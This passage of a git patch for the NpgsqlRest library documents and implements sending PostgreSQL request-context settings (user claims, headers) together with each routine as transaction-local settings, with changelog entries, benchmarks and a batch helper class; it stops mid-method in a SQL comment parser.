Npgsql resets the connection when it returns to the pool again, which clears all session settings. The reset is sent together with the next command, so it adds no extra round trip. You can still set `No Reset On Close=true` yourself in the connection string. +- The `npgsqlrest` client no longer forces `No Reset On Close`. It now resets connections when a request can leave session-level settings on them: when any endpoint uses `user_context` or `request_headers context`, when an upload endpoint sets the upload metadata context key, or when `BeforeRoutineCommands` are configured. Every connection is then reset when it returns to the pool, for all endpoints, which clears all session settings. With `WrapInTransaction` those settings are local to the request's transaction, so nothing needs resetting; and an application that uses none of these features leaves nothing on its connections, so they are not reset either, as before. `No Reset On Close` in the connection string overrides the rule in both directions. The rule, what the reset costs and what it keeps are described under [Connections are reset only when needed](#connections-are-reset-only-when-needed). - For anonymous requests, `user_context` endpoints now set every user key, and the claims JSON key if configured, to NULL instead of skipping them. So `user_context` endpoints never see a previous identity, even when connections are not reset. - At startup, the library warns when the connection string sets `No Reset On Close` while endpoints use `user_context` or `request_headers context` (unless `WrapInTransaction` is on). @@ -627,6 +754,16 @@ A timeout meant to stop runaway queries did nothing. Timeouts now use the full d --- +#### Multi-statement SQL files repeated rows when a statement returned more than 25 rows + +A SQL file with several statements returns one JSON object with a result per statement. When one of the statements returned more rows than `BufferRows` (25 by default), the rows already sent stayed in the buffer and were sent again with each following batch. The response repeated rows and was not valid JSON. This has been there since multi-statement SQL files were introduced in 3.12.0; the tests only used small results. Every row is now returned once. + +For these endpoints `buffer_rows 0` and `buffer_rows 1` also had their meanings swapped. They now mean the same as everywhere else: `0` sends every row, `1` buffers all rows. + +#### `buffer_rows 0` failed every request + +`BufferRows: 0` (or the `buffer_rows 0` annotation) is documented as "send every row". Since at least 3.0.0 it divided by zero instead, and every request to such an endpoint returned `500`. It now sends every row. + #### Text arrays with an element ending in a backslash were returned wrong A `text[]` (or `varchar[]`, ...) value with an element that ends in a backslash, such as `array['a\', 'b']`, came back with its elements merged and shifted (`["a\\\",b", ...]`). PostgreSQL sends that element as `"a\\"`; the converter took its closing quote for an escaped quote. Such arrays are now returned correctly: `["a\\","b"]`. From a67df418a95dbd32e019d608f5bda21a74f93b3b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Vedran=20Bilopavlovi=C4=87?= Date: Thu, 19 Nov 2026 21:11:06 +0100 Subject: [PATCH 14/38] perf: send the request context with the routine - one round trip, local settings, no connection reset user_context and request_headers context were set by a separate batch before the routine: a second round trip to PostgreSQL for every such request, and session-level settings that stayed on the pooled connection, which is what made the connection reset necessary. - For functions, tables, views and SQL files with a single query or data-changing statement, the settings and the routine now go to PostgreSQL as one batch: "select set_config($1,$2,true) is null, ..." and the unchanged routine statement. One round trip, one transaction, settings local to it, nothing left on the connection (RequestContextBatch, RoutineEndpoint.ContextInRoutineBatch). - NpgsqlRestOptions.ConnectionResetRequired is no longer true for such endpoints, so an application whose context endpoints all qualify does not reset its connections. Overload endpoints are counted too. - Procedures (they can commit), multi-statement SQL files and SQL files with another kind of statement, upload, login and logout endpoints and routines returning a single bytea value keep the session-level context. So do all endpoints with WrapInTransaction (already local), BeforeRoutineCommands or a command callback. - A cache hit on a cached endpoint with a context no longer touches the database. - A batch is used, not one multi-statement command, because the client runs with Npgsql's SQL rewriting off. Text results for a batch are an internal Npgsql property (public API: npgsql/npgsql#3922). It is reached with an UnsafeAccessor, which works in JIT and native AOT; RequestContextBatch.IsSupported probes it once and the old two-step path is used when it is missing. A unit test fails if an Npgsql upgrade removes it. - The first execution attempt and the retry logic execute the batch in place of the command. Tests: a fixture with one never-reset pooled connection (scalar, rows, void, headers, errors, retries, cache, concurrency), SQL files, the session-level path for procedures, ConnectionResetRequired for the new rule. Benchmarks: GetTextUserContext in the endpoint benchmarks. --- BenchmarkTests/EndpointBenchmarks.cs | 32 ++ NpgsqlRest/Enums.cs | 3 +- NpgsqlRest/NpgsqlRestBuilder.cs | 84 ++++- NpgsqlRest/NpgsqlRestEndpoint.cs | 195 ++++++++--- NpgsqlRest/Options/NpgsqlRestOptions.cs | 16 +- NpgsqlRest/RequestContextBatch.cs | 258 +++++++++++++++ NpgsqlRest/Retries/NpgsqlCommandRetry.cs | 91 +++++- NpgsqlRest/RoutineEndpoint.cs | 7 + NpgsqlRestClient/Program.cs | 14 +- .../AuthTests/UserContextLeakTests.cs | 66 ++++ .../ConnectionResetRequiredTests.cs | 62 +++- .../RequestContextBatchTests.cs | 303 ++++++++++++++++++ .../RequestContextBatchUnitTests.cs | 133 ++++++++ .../Setup/RequestContextBatchTestFixture.cs | 88 +++++ .../SqlFileRequestContextBatchTests.cs | 232 ++++++++++++++ 15 files changed, 1499 insertions(+), 85 deletions(-) create mode 100644 NpgsqlRest/RequestContextBatch.cs create mode 100644 NpgsqlRestTests/ConnectionTests/RequestContextBatchTests.cs create mode 100644 NpgsqlRestTests/ConnectionTests/RequestContextBatchUnitTests.cs create mode 100644 NpgsqlRestTests/Setup/RequestContextBatchTestFixture.cs create mode 100644 NpgsqlRestTests/SqlFileSourceTests/AuthTests/SqlFileRequestContextBatchTests.cs diff --git a/BenchmarkTests/EndpointBenchmarks.cs b/BenchmarkTests/EndpointBenchmarks.cs index 7fe8cd09..1250b2d0 100644 --- a/BenchmarkTests/EndpointBenchmarks.cs +++ b/BenchmarkTests/EndpointBenchmarks.cs @@ -67,8 +67,20 @@ language sql from generate_series(1, _count) as i $$; + -- The same text value, with the request context (user_context): the IP address and the three default user + -- keys are passed to PostgreSQL as settings (NULL for the user keys: the benchmark's requests are anonymous). + create function benchmark_get_text_context() + returns text + language sql + stable + as $$ + select 'Hello, ' || coalesce(nullif(current_setting('request.user_name', true), ''), 'World') || '!' + $$; + comment on function benchmark_get_text() is 'HTTP GET'; comment on function benchmark_get_rows(int) is 'HTTP GET'; + comment on function benchmark_get_text_context() is 'HTTP GET + user_context'; """; private const int RowCount = 100; @@ -146,6 +158,17 @@ public async Task GetRows100() return await response.Content.ReadAsStringAsync(); } + /// + /// The text value again, from an endpoint with user_context: four context settings are sent to PostgreSQL with + /// the request. Compared with GetText, this is what the request context costs. + /// + [Benchmark] + public async Task GetTextUserContext() + { + using var response = await _client.GetAsync("/api/benchmark-get-text-context"); + return await response.Content.ReadAsStringAsync(); + } + /// /// Reference: the HTTP stack alone (HttpClient -> Kestrel -> routing -> RequestDelegate), same response text, /// no NpgsqlRest, no database. Separates platform (ASP.NET Core / runtime) cost from NpgsqlRest cost. @@ -216,6 +239,15 @@ private void Verify() } } + using (var response = _client.GetAsync("/api/benchmark-get-text-context").GetAwaiter().GetResult()) + { + var body = response.Content.ReadAsStringAsync().GetAwaiter().GetResult(); + if (!response.IsSuccessStatusCode || body != "Hello, World!") + { + throw new InvalidOperationException($"benchmark-get-text-context: unexpected response {(int)response.StatusCode}: {body}"); + } + } + using (var response = _client.GetAsync($"/api/benchmark-get-rows?count={RowCount}").GetAwaiter().GetResult()) { var body = response.Content.ReadAsStringAsync().GetAwaiter().GetResult(); diff --git a/NpgsqlRest/Enums.cs b/NpgsqlRest/Enums.cs index 69a7faf7..df02231f 100644 --- a/NpgsqlRest/Enums.cs +++ b/NpgsqlRest/Enums.cs @@ -58,7 +58,8 @@ public enum RequestHeadersMode /// Ignore, /// - /// Send all request headers as json object to PostgreSQL by executing set_config('context.headers', headers, false) before routine call. + /// Send all request headers as a JSON string to PostgreSQL, in the setting named by RequestHeadersContextKey + /// (request.headers by default), set with set_config just before the routine runs. /// Context, /// diff --git a/NpgsqlRest/NpgsqlRestBuilder.cs b/NpgsqlRest/NpgsqlRestBuilder.cs index 97d05e93..8f85a77f 100644 --- a/NpgsqlRest/NpgsqlRestBuilder.cs +++ b/NpgsqlRest/NpgsqlRestBuilder.cs @@ -75,7 +75,31 @@ public static IApplicationBuilder UseNpgsqlRest(this WebApplication builder, Npg hasStreamingEvents ) = Build(builder, defaultStrategy); - Options.ConnectionResetRequired = RequestsLeaveSessionState(entries); + // Which endpoints send their request context together with the routine, local to that one batch (overloads + // are endpoints too: a request resolves to one of them by its parameters). + foreach (var entry in entries) + { + entry.Endpoint.ContextInRoutineBatch = RequestContextBatch.CanUse(entry.Endpoint); + } + foreach (var entry in overloads.Values) + { + entry.Endpoint.ContextInRoutineBatch = RequestContextBatch.CanUse(entry.Endpoint); + } + if (RequestContextBatch.IsSupported is false) + { + foreach (var entry in entries) + { + if (RequestContextBatch.Qualifies(entry.Endpoint)) + { + // NpgsqlRest works the same, only slower: say why, once. + Logger?.LogInformation( + "The request context (user_context, request_headers context) is sent to PostgreSQL in a separate round trip before each routine, and pooled connections have to be reset after it: Npgsql {NpgsqlVersion} does not return the results of a batch as text.", + typeof(NpgsqlBatch).Assembly.GetName().Version); + break; + } + } + } + Options.ConnectionResetRequired = RequestsLeaveSessionState(entries, overloads); if (entries.Count == 0) { @@ -180,7 +204,7 @@ public static IApplicationBuilder UseNpgsqlRest(this WebApplication builder, Npg } } - WarnIfRequestContextCanOutliveRequest(entries); + WarnIfRequestContextCanOutliveRequest(entries, overloads); // Register internal handlers for self-referencing calls (bypass HTTP) InternalRequestHandler.SetEndpointHandlers(internalHandlers); @@ -191,10 +215,12 @@ public static IApplicationBuilder UseNpgsqlRest(this WebApplication builder, Npg /// /// True when a request can leave session-level settings on its connection (see /// ). These are all the places where NpgsqlRest runs - /// set_config(..., false): the request context (SetRequestContextAsync) and the upload metadata key (UploadAsync). + /// set_config(..., false): the request context when it is set by a separate batch (SetRequestContextAsync; not + /// when it is sent with the routine, local to that batch, see RequestContextBatch) and the upload metadata key + /// (UploadAsync). /// BeforeRoutineCommands are the application's own SQL, typically set_config calls, so they count as well. /// - private static bool RequestsLeaveSessionState(List entries) + private static bool RequestsLeaveSessionState(List entries, FrozenDictionary overloads) { if (Options.WrapInTransaction) { @@ -212,12 +238,23 @@ private static bool RequestsLeaveSessionState(List entr var headersContextWrites = Options.RequestHeadersContextKey is not null; var uploadContextWrites = Options.UploadOptions.UseDefaultUploadMetadataContextKey && Options.UploadOptions.DefaultUploadMetadataContextKey is not null; + bool LeavesSessionState(RoutineEndpoint endpoint) + { + var setsContext = (endpoint.UserContext && userContextWrites) + || (endpoint.RequestHeadersMode == RequestHeadersMode.Context && headersContextWrites); + return (setsContext && endpoint.ContextInRoutineBatch is false) || (endpoint.Upload && uploadContextWrites); + } + foreach (var entry in entries) { - var endpoint = entry.Endpoint; - if ((endpoint.UserContext && userContextWrites) - || (endpoint.RequestHeadersMode == RequestHeadersMode.Context && headersContextWrites) - || (endpoint.Upload && uploadContextWrites)) + if (LeavesSessionState(entry.Endpoint)) + { + return true; + } + } + foreach (var entry in overloads.Values) + { + if (LeavesSessionState(entry.Endpoint)) { return true; } @@ -226,26 +263,42 @@ private static bool RequestsLeaveSessionState(List entr } /// - /// user_context / request_headers context values are session-level settings (set_config(..., false)) unless the - /// request runs in a transaction. With "No Reset On Close" the pooled connection keeps them, so the next request - /// on that connection - including endpoints that never set a context - can read the previous caller's identity. + /// user_context / request_headers context values are session-level settings (set_config(..., false)) for the + /// endpoints that cannot send them together with the routine (see RequestContextBatch), unless the request runs + /// in a transaction. With "No Reset On Close" the pooled connection keeps them, so the next request on that + /// connection - including endpoints that never set a context - can read the previous caller's identity. /// - private static void WarnIfRequestContextCanOutliveRequest(List entries) + private static void WarnIfRequestContextCanOutliveRequest(List entries, FrozenDictionary overloads) { if (Options.WrapInTransaction) { return; } + // Endpoints whose context is sent with the routine (RequestContextBatch) leave nothing on the connection. + static bool SetsSessionContext(RoutineEndpoint endpoint) => + (endpoint.UserContext || endpoint.RequestHeadersMode == RequestHeadersMode.Context) && endpoint.ContextInRoutineBatch is false; + var usesContext = false; foreach (var entry in entries) { - if (entry.Endpoint.UserContext || entry.Endpoint.RequestHeadersMode == RequestHeadersMode.Context) + if (SetsSessionContext(entry.Endpoint)) { usesContext = true; break; } } if (usesContext is false) + { + foreach (var entry in overloads.Values) + { + if (SetsSessionContext(entry.Endpoint)) + { + usesContext = true; + break; + } + } + } + if (usesContext is false) { return; } @@ -259,8 +312,9 @@ private static void WarnIfRequestContextCanOutliveRequest(List 0; if (willSetHeadersContext || willSetUserContext || willRunBeforeRoutineCommands || Options.WrapInTransaction) { + // The keys and values this request passes to PostgreSQL - the same whichever way they are sent. + List<(string Key, object? Value)>? contextPairs = null; + if (willSetHeadersContext || willSetUserContext || willRunBeforeRoutineCommands) + { + contextPairs = CollectRequestContext(s, willSetHeadersContext); + claimsDict = s.claimsDict; + } + + // ContextInRoutineBatch was decided when the endpoints were built, from these same options; they are + // checked again because options are mutable and all three change what has to run on the connection. + if (contextPairs is { Count: > 0 } + && endpoint.ContextInRoutineBatch + && transaction is null + && willRunBeforeRoutineCommands is false + && Options.WrapInTransaction is false + && Options.CommandCallbackAsync is null) + { + // The settings go to PostgreSQL together with the routine, local to that one batch: no round trip + // here (the connection is not even opened yet), and nothing stays on the connection afterwards. + // See RequestContextBatch. + s.contextWithRoutine = true; + return; + } + if (connection.State != ConnectionState.Open) { if (Options.BeforeConnectionOpen is not null) @@ -1026,46 +1050,14 @@ Options.AuthenticationOptions.IpAddressContextKey is not null { await using var batch = NpgsqlRestBatch.Create(connection); - if (willSetHeadersContext) + foreach (var (key, value) in contextPairs!) { var cmd = new NpgsqlBatchCommand(setContextSql); - cmd.Parameters.Add(NpgsqlRestParameter.CreateTextParam(Options.RequestHeadersContextKey)); - cmd.Parameters.Add(NpgsqlRestParameter.CreateTextParam(headers)); + cmd.Parameters.Add(NpgsqlRestParameter.CreateTextParam(key)); + cmd.Parameters.Add(NpgsqlRestParameter.CreateTextParam(value)); batch.BatchCommands.Add(cmd); } - if (endpoint.UserContext is true) - { - claimsDict = s.claimsDict ??= context.User.BuildClaimsDictionary(Options.AuthenticationOptions); - - if (Options.AuthenticationOptions.IpAddressContextKey is not null) - { - var cmd = new NpgsqlBatchCommand(setContextSql); - cmd.Parameters.Add(NpgsqlRestParameter.CreateTextParam(Options.AuthenticationOptions.IpAddressContextKey)); - cmd.Parameters.Add(NpgsqlRestParameter.CreateTextParam(context.Request.GetClientIpAddressDbParam())); - batch.BatchCommands.Add(cmd); - } - // Every claim context key is set on every user_context request - for anonymous requests to - // NULL. Session-level settings (no transaction) survive on a pooled connection when the - // connection is not reset on close (NoResetOnClose), so skipping them for anonymous requests - // would let an anonymous request run with the previous request's user identity. - var isAuthenticated = context.User?.Identity?.IsAuthenticated is true; - if (Options.AuthenticationOptions.ClaimsJsonContextKey is not null) - { - var cmd = new NpgsqlBatchCommand(setContextSql); - cmd.Parameters.Add(NpgsqlRestParameter.CreateTextParam(Options.AuthenticationOptions.ClaimsJsonContextKey)); - cmd.Parameters.Add(NpgsqlRestParameter.CreateTextParam(isAuthenticated ? claimsDict?.GetUserClaimsDbParam() ?? DBNull.Value : DBNull.Value)); - batch.BatchCommands.Add(cmd); - } - foreach (var mapping in Options.AuthenticationOptions.ContextKeyClaimsMapping) - { - var cmd = new NpgsqlBatchCommand(setContextSql); - cmd.Parameters.Add(NpgsqlRestParameter.CreateTextParam(mapping.Key)); - cmd.Parameters.Add(NpgsqlRestParameter.CreateTextParam(isAuthenticated ? claimsDict!.GetClaimDbContextParam(mapping.Value) : DBNull.Value)); - batch.BatchCommands.Add(cmd); - } - } - if (willRunBeforeRoutineCommands) { foreach (var beforeCmd in Options.BeforeRoutineCommands) @@ -1103,6 +1095,59 @@ Options.AuthenticationOptions.IpAddressContextKey is not null } } + /// + /// The request context as setting names and values: the request headers (request_headers context) and, for + /// user_context endpoints, the client IP address, the claims JSON and the mapped claims. + /// + private static List<(string Key, object? Value)> CollectRequestContext(RequestState s, bool headersContext) + { + var pairs = s.contextPairs ??= new(8); + pairs.Clear(); + + var context = s.context; + var auth = Options.AuthenticationOptions; + + if (headersContext) + { + pairs.Add((Options.RequestHeadersContextKey, s.headers)); + } + + if (s.endpoint.UserContext is true) + { + var claimsDict = s.claimsDict ??= context.User.BuildClaimsDictionary(auth); + + if (auth.IpAddressContextKey is not null) + { + pairs.Add((auth.IpAddressContextKey, context.Request.GetClientIpAddressDbParam())); + } + // Every claim context key is set on every user_context request - for anonymous requests to NULL. With + // session-level settings (the batch below, no transaction) and a connection that is not reset on close, + // skipping them for anonymous requests would let an anonymous request run with the previous request's + // user identity. + var isAuthenticated = context.User?.Identity?.IsAuthenticated is true; + if (auth.ClaimsJsonContextKey is not null) + { + pairs.Add((auth.ClaimsJsonContextKey, isAuthenticated ? claimsDict?.GetUserClaimsDbParam() ?? DBNull.Value : DBNull.Value)); + } + foreach (var mapping in auth.ContextKeyClaimsMapping) + { + pairs.Add((mapping.Key, isAuthenticated ? claimsDict!.GetClaimDbContextParam(mapping.Value) : DBNull.Value)); + } + } + return pairs; + } + + /// + /// For a request whose context is sent with its routine: creates the batch that carries both (see + /// RequestContextBatch). Called when the routine is about to run - after PrepareCommand, which gives the command + /// its text and timeout. The batch is disposed with the command (DisposeCommandAsync). + /// + private static NpgsqlBatch CreateContextBatch(RequestState s) => + s.contextBatch = RequestContextBatch.Create( + s.connection!, + s.command, + System.Runtime.InteropServices.CollectionsMarshal.AsSpan(s.contextPairs)); + /// Upload endpoints: runs the upload handler and passes its metadata to the routine. [System.Runtime.CompilerServices.AsyncMethodBuilder(typeof(System.Runtime.CompilerServices.PoolingAsyncValueTaskMethodBuilder))] private async ValueTask UploadAsync(RequestState s) @@ -1454,6 +1499,12 @@ await Proxy.ProxyRequestHandler.WriteResponseAsync( private static ValueTask DisposeCommandAsync(RequestState s) { + var contextBatch = s.contextBatch; + if (contextBatch is not null) + { + s.contextBatch = null; + contextBatch.Dispose(); + } var command = s.command; if (command is null) { @@ -1709,9 +1760,21 @@ private async ValueTask RenderVoidAsync(RequestState s) // The first attempt is made here rather than in the retrying method, so that one async method less waits on // the database with every request. If it fails, the retrying method takes over and handles the failure // exactly as if it had made the attempt itself (error mapping, retries, logging). + if (s.contextWithRoutine) + { + CreateContextBatch(s); + } try { - await s.command.ExecuteNonQueryAsync(s.cancellationToken); + if (s.contextBatch is { } contextBatch) + { + // the request context and the routine, in one round trip (see RequestContextBatch) + await contextBatch.ExecuteNonQueryAsync(s.cancellationToken); + } + else + { + await s.command.ExecuteNonQueryAsync(s.cancellationToken); + } } catch (Exception firstFailure) when (Retries(s.endpoint)) { @@ -1719,7 +1782,8 @@ await s.command.ExecuteNonQueryAfterFailureAsync( firstFailure, s.endpoint.RetryStrategy!, s.cancellationToken, - s.endpoint.ErrorCodePolicy ?? Options.ErrorHandlingOptions.DefaultErrorCodePolicy); + s.endpoint.ErrorCodePolicy ?? Options.ErrorHandlingOptions.DefaultErrorCodePolicy, + s.contextBatch); } s.context.Response.StatusCode = (int)HttpStatusCode.NoContent; } @@ -1747,10 +1811,25 @@ private async ValueTask RenderScalarAsync(RequestState s) { s.cancellationToken.ThrowIfCancellationRequested(); } + if (s.contextWithRoutine) + { + CreateContextBatch(s); + } NpgsqlDataReader reader; try { - reader = await s.command.ExecuteReaderAsync(CommandBehavior.SequentialAccess, s.cancellationToken); + if (s.contextBatch is { } contextBatch) + { + // The request context and the routine, in one round trip (see RequestContextBatch). The first result + // is the context statement's; the routine's result - and its errors - come next, so moving there is + // part of the attempt. + reader = await contextBatch.ExecuteReaderAsync(CommandBehavior.SequentialAccess, s.cancellationToken); + await NpgsqlRetryExtensions.SkipContextResultAsync(reader, s.cancellationToken); + } + else + { + reader = await s.command.ExecuteReaderAsync(CommandBehavior.SequentialAccess, s.cancellationToken); + } } catch (Exception firstFailure) when (Retries(s.endpoint)) { @@ -1759,7 +1838,8 @@ private async ValueTask RenderScalarAsync(RequestState s) CommandBehavior.SequentialAccess, s.endpoint.RetryStrategy!, s.cancellationToken, - s.endpoint.ErrorCodePolicy ?? Options.ErrorHandlingOptions.DefaultErrorCodePolicy); + s.endpoint.ErrorCodePolicy ?? Options.ErrorHandlingOptions.DefaultErrorCodePolicy, + s.contextBatch); } await WriteScalarAsync(s, reader); } @@ -1898,6 +1978,9 @@ private async ValueTask RenderCachedScalarAsync(RequestState s) var cacheKeyString = s.cacheKeyString; var cacheTtlOverride = s.cacheTtlOverride; var cancellationToken = s.cancellationToken; + // The request context, when it is sent with the routine (see RequestContextBatch) - a copy, because the list + // belongs to the pooled request state. + (string Key, object? Value)[]? requestContext = s.contextWithRoutine ? s.contextPairs!.ToArray() : null; TypeDescriptor descriptor = s.routine.ColumnsTypeDescriptor[0]; object? valueResult; @@ -1918,11 +2001,13 @@ private async ValueTask RenderCachedScalarAsync(RequestState s) throw new CacheFactoryAbortException(CacheFactoryAbortReason.ResponseAlreadyWritten); } - await using var reader = await command.ExecuteReaderWithRetryAsync( + await using var contextBatch = requestContext is null ? null : RequestContextBatch.Create(connection, command, requestContext); + await using var reader = await command.ExecuteRoutineReaderWithRetryAsync( + contextBatch, CommandBehavior.SequentialAccess, endpoint.RetryStrategy, ct, - errorCodePolicy: endpoint.ErrorCodePolicy ?? Options.ErrorHandlingOptions.DefaultErrorCodePolicy); + endpoint.ErrorCodePolicy ?? Options.ErrorHandlingOptions.DefaultErrorCodePolicy); if (shouldLog) { NpgsqlRestLogger.LogEndpoint(endpoint, cmdLog?.ToString() ?? "", command.CommandText); @@ -2112,9 +2197,22 @@ private async ValueTask RenderRecordsAsync(RequestState s) { s.cancellationToken.ThrowIfCancellationRequested(); } + if (s.contextWithRoutine) + { + CreateContextBatch(s); + } try { - reader = await s.command.ExecuteReaderAsync(CommandBehavior.SequentialAccess, s.cancellationToken); + if (s.contextBatch is { } contextBatch) + { + // the request context and the routine, in one round trip (see RenderScalarAsync) + reader = await contextBatch.ExecuteReaderAsync(CommandBehavior.SequentialAccess, s.cancellationToken); + await NpgsqlRetryExtensions.SkipContextResultAsync(reader, s.cancellationToken); + } + else + { + reader = await s.command.ExecuteReaderAsync(CommandBehavior.SequentialAccess, s.cancellationToken); + } } catch (Exception firstFailure) when (Retries(s.endpoint)) { @@ -2123,7 +2221,8 @@ private async ValueTask RenderRecordsAsync(RequestState s) CommandBehavior.SequentialAccess, s.endpoint.RetryStrategy!, s.cancellationToken, - s.endpoint.ErrorCodePolicy ?? Options.ErrorHandlingOptions.DefaultErrorCodePolicy); + s.endpoint.ErrorCodePolicy ?? Options.ErrorHandlingOptions.DefaultErrorCodePolicy, + s.contextBatch); } if (s.shouldLog) { @@ -3719,8 +3818,15 @@ private sealed class RequestState public bool bypassCache; public TimeSpan? cacheTtlOverride; + // The request context (contextPairs) is sent with the routine, as one batch (see RequestContextBatch) ... + public bool contextWithRoutine; + // ... which is this one, from the moment the routine is about to run. Disposed with the command. + public NpgsqlBatch? contextBatch; + // Reused across requests (not part of a request's state): renders rows, see RowRenderer. public RowRenderer? rowRenderer; + // Reused across requests: the context setting names and values of the request being served. + public List<(string Key, object? Value)>? contextPairs; private const int MaxPoolSize = 128; private static readonly RequestState?[] Pool = new RequestState?[MaxPoolSize]; @@ -3799,6 +3905,9 @@ private void Reset() cacheKeyString = null; bypassCache = false; cacheTtlOverride = null; + contextWithRoutine = false; + contextBatch = null; + contextPairs?.Clear(); } } diff --git a/NpgsqlRest/Options/NpgsqlRestOptions.cs b/NpgsqlRest/Options/NpgsqlRestOptions.cs index c04c2a76..9fbd4e81 100644 --- a/NpgsqlRest/Options/NpgsqlRestOptions.cs +++ b/NpgsqlRest/Options/NpgsqlRestOptions.cs @@ -252,7 +252,7 @@ public NpgsqlRestOptions(NpgsqlDataSource dataSource) /// /// Configure how to send request headers to PostgreSQL routines execution: /// - `Ignore` (default) don't send any request headers to routines. - /// - `Context` sets a context variable for the current session `context.headers` containing JSON string with current request headers. This executes `set_config('context.headers', headers, false)` before any routine executions. + /// - `Context` passes the request headers to the routine as a JSON string in the PostgreSQL setting named by `RequestHeadersContextKey` (`request.headers` by default), set with `set_config` just before the routine runs. Read it with `current_setting('request.headers', true)`. /// - `Parameter` sends request headers to the routine parameter defined with the `RequestHeadersParameterName` option. Parameter with this name must exist, must be one of the JSON or text types and must have the default value defined. /// /// This option for individual endpoints can be changed with the `EndpointCreated` function callback, or by using comment annotations. @@ -283,10 +283,16 @@ public NpgsqlRestOptions(NpgsqlDataSource dataSource) /// /// Set by UseNpgsqlRest when the endpoints are built (read it afterwards): true when a request can leave /// session-level settings on its database connection, so pooled connections have to be reset when they return to - /// the pool (Npgsql does that unless the connection string sets "No Reset On Close"). Without - /// , that is the case when an endpoint uses `user_context` or - /// `request_headers context`, when an upload endpoint sets the upload metadata context key, or when - /// are configured. + /// the pool (Npgsql does that unless the connection string sets "No Reset On Close"). + /// + /// The request context (`user_context`, `request_headers context`) of functions, tables, views and SQL files with + /// a single query or data change is sent to PostgreSQL together with the routine, as settings local to that one + /// transaction, and leaves nothing behind. Without , the flag is true when the + /// context is used by an endpoint that cannot do that - a procedure, an upload, login or logout endpoint, a SQL + /// file with several statements or with a statement that is not a query or data change, a routine returning a + /// single bytea value - or by any endpoint when is set; when an upload endpoint + /// sets the upload metadata context key; and when are configured. + /// /// False when nothing NpgsqlRest does stays on a connection after the request - with WrapInTransaction every /// setting is local to the request's transaction. Such an application can skip the reset, and what the reset /// costs PostgreSQL on every request. Session state left behind by your own SQL is not covered by this flag. diff --git a/NpgsqlRest/RequestContextBatch.cs b/NpgsqlRest/RequestContextBatch.cs new file mode 100644 index 00000000..35feb6f8 --- /dev/null +++ b/NpgsqlRest/RequestContextBatch.cs @@ -0,0 +1,258 @@ +using System.Buffers; +using System.Runtime.CompilerServices; +using System.Text; +using Npgsql; + +namespace NpgsqlRest; + +/// +/// Request context sent to PostgreSQL together with the routine. +/// +/// The request context (user_context, request_headers context) reaches PostgreSQL as settings that the routine reads +/// with current_setting(). They used to be set by a separate batch before the routine ran: one more round trip for +/// every request, and - made at session level - settings that stay on the pooled connection afterwards. +/// +/// For the routines that qualify (see ) the settings and the routine go to PostgreSQL as one +/// batch of two statements: +/// +/// select set_config($1,$2,true) is null,set_config($3,$4,true) is null -- the request context +/// select public.my_function($1) -- the routine, exactly as before +/// +/// PostgreSQL runs the statements of a batch in one transaction, so settings made with is_local = true are visible to +/// the routine and are gone when the batch ends. One round trip, and nothing is left on the connection - which is +/// also why such requests need no connection reset (see NpgsqlRestOptions.ConnectionResetRequired). +/// +/// (The "is null" only keeps PostgreSQL from sending every value back.) +/// +internal static class RequestContextBatch +{ + /// The result sets that come before the routine's in such a batch: the context statement's. + public const int LeadingResultSets = 1; + + // Rendering reads every value in PostgreSQL's text format. A command asks for that with AllResultTypesAreUnknown. + // A batch has the same switch, and sends the same request for text results, but Npgsql does not expose the batch's + // switch in its public API: it is internal as of Npgsql 10.0.3, and making it public is on Npgsql's backlog + // (https://github.com/npgsql/npgsql/issues/3922). This reaches it without reflection, so it also works in trimmed + // and Native AOT builds. Whether it is there is checked once (IsSupported): with an Npgsql that does not have it, + // the request context is set the way it always was, by a separate batch. Once Npgsql has a public property, use + // that and remove the accessor. + [UnsafeAccessor(UnsafeAccessorKind.Method, Name = "set_AllResultTypesAreUnknown")] + private static extern void SetAllResultTypesAreUnknown(NpgsqlBatch batch, bool value); + + /// True when this Npgsql can return the results of a batch as text (see above). + public static bool IsSupported { get; } = Probe(); + + private static bool Probe() + { + try + { + using var batch = new NpgsqlBatch(); + SetAllResultTypesAreUnknown(batch, true); + return true; + } + catch (Exception) + { + // MissingMethodException with an Npgsql that has no such member + return false; + } + } + + /// + /// True when the request context of this endpoint is sent with its routine. Decided once, when the endpoints + /// are built. The other endpoints set their context with a separate batch, at session level, as before. + /// + public static bool CanUse(RoutineEndpoint endpoint) => IsSupported && Qualifies(endpoint); + + /// True when the endpoint sets a request context and nothing about it requires the session-level one. + public static bool Qualifies(RoutineEndpoint endpoint) + { + if (endpoint.UserContext is false && endpoint.RequestHeadersMode != RequestHeadersMode.Context) + { + return false; + } + // With WrapInTransaction the settings are already local to the request's transaction. BeforeRoutineCommands + // and the command callback are the application's own SQL and code: they run on the connection before the + // routine and may read the context, or work with the routine's command. + if (Options.WrapInTransaction || Options.BeforeRoutineCommands.Length > 0 || Options.CommandCallbackAsync is not null) + { + return false; + } + // These run more than the routine on the connection (the upload handler's commands, the login and logout + // handlers), and all of it has to see the context. + if (endpoint.Upload || endpoint.Login || endpoint.Logout) + { + return false; + } + var routine = endpoint.Routine; + // The statements of a multi-statement SQL file are executed one by one: local settings would not reach the + // second one. + if (routine.IsMultiCommand) + { + return false; + } + // A single column read as binary (bytea): a batch can ask for text results or for binary ones, not for both. + if (routine.UnknownResultTypeList is not null) + { + return false; + } + return routine.Type switch + { + // SQL that NpgsqlRest generates: a select, insert, update or delete. + RoutineType.Function or RoutineType.Table or RoutineType.View => true, + // The user's own statement: when it is a plain query or data change. + RoutineType.SqlFile => IsQueryOrDataChange(routine.Expression), + // Procedures can commit, which ends the transaction - and with it the local settings - while the + // procedure is still running. They keep the session-level context. + _ => false + }; + } + + private static readonly string[] QueryKeywords = ["select", "with", "insert", "update", "delete", "merge", "values", "table"]; + + /// + /// True when the statement starts with a keyword of a query or a data change. Such a statement cannot end the + /// transaction it runs in (functions it calls cannot commit), so running it in one transaction with the context + /// statement changes nothing but the lifetime of the settings. Anything else - call, do, set, vacuum, copy ... - + /// may commit or may not be allowed to share a transaction, and is left alone. + /// + internal static bool IsQueryOrDataChange(string? sql) + { + if (sql is null) + { + return false; + } + var span = sql.AsSpan(); + // leading whitespace and comments + while (true) + { + span = span.TrimStart(); + if (span.StartsWith("--")) + { + var lineEnd = span.IndexOf('\n'); + if (lineEnd < 0) + { + return false; + } + span = span[(lineEnd + 1)..]; + } + else if (span.StartsWith("/*")) + { + // block comments nest + var depth = 1; + var i = 2; + while (i < span.Length && depth > 0) + { + if (span[i] == '/' && i + 1 < span.Length && span[i + 1] == '*') + { + depth++; + i += 2; + } + else if (span[i] == '*' && i + 1 < span.Length && span[i + 1] == '/') + { + 